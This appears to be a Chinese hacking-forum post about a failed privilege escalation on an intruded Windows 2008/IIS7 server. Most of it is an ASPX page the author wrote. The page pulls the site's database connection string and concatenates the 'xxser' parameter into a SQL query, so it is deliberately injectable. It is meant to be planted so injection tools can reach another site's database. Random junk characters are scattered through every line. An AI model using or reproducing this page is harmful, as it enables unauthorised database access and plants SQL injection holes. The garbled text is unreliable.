昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。+ w" w7 d- d& R- ?
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
- ~1 q1 j% u: @) M7 q7 j; e/ Y代码量不多,自己写个拉倒了。烦死了。% b1 b+ `6 C/ k% C# {
- ` h* I1 u7 | A G
: _) d# P% C2 ?+ N; p
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
7 M$ k. {. t0 H# O<html xmlns="http://www.w3.org/1999/xhtml">& N. W, P9 F+ P! j0 _
<head runat="server">
5 X6 T+ h1 s$ d( T# h8 e: a <title>暗影aspx构造注射专用页面</title>1 Q; R. f9 Y* I* }- A
</head>$ ^$ {( a! p A- H4 h0 h: P. O
<body>: U |5 f% ~1 I5 I0 f1 }0 h' M
<form id="form1" runat="server">
$ z \: O4 E5 G' l& g* {8 D) i2 H) ? <div>
) A' j1 Z3 ^7 y" N: v; u: m <script language="c#" runat="server">
0 C- F2 c& L7 f7 a9 `2 i! @ + y" Z- z* a$ }; S8 I. n
void page_init(object sender, EventArgs e)# ]/ b. q( C! ?3 T1 t
{
- i3 x+ x& C; [& Q- T4 Z$ l 6 j ?& V$ T N! Z: t) p7 S
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
9 B4 U( N7 s5 J' L/ \+ R
5 G0 [9 T/ R+ ~! H/ Y conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
m' L& _$ N! \* ~ conn.Open();
( P# p, R! I3 k! E5 W k. V
0 }/ T0 b! s9 }6 ?6 z string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
7 y+ W. I9 \5 V T( f
* I( I4 [8 Y9 A7 g System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
& f; U a. N( S# f int x = command.ExecuteNonQuery();
( d. B B9 C1 f8 G Response.Write(i+"\n");
$ l- `2 y, t4 k& X m6 I+ F Response.Write(x);
9 D4 O: i$ q! b8 k conn.Close();
' C9 ^7 ?9 A' i' V q/ _ }
+ ?. S& G8 g1 } ' G0 T) C4 `2 }/ b8 l
</script>$ Q" S: R Q& k! k: Q
</div># @7 `& r6 Y5 N# w M5 L$ q
</form>' g" t1 `% o4 G4 g: t z) E- e
</body>
" v1 Y7 M! x2 x1 z9 f2 X! V</html>$ {1 f( o: ?+ b, ^" Q& K+ `9 R/ e
|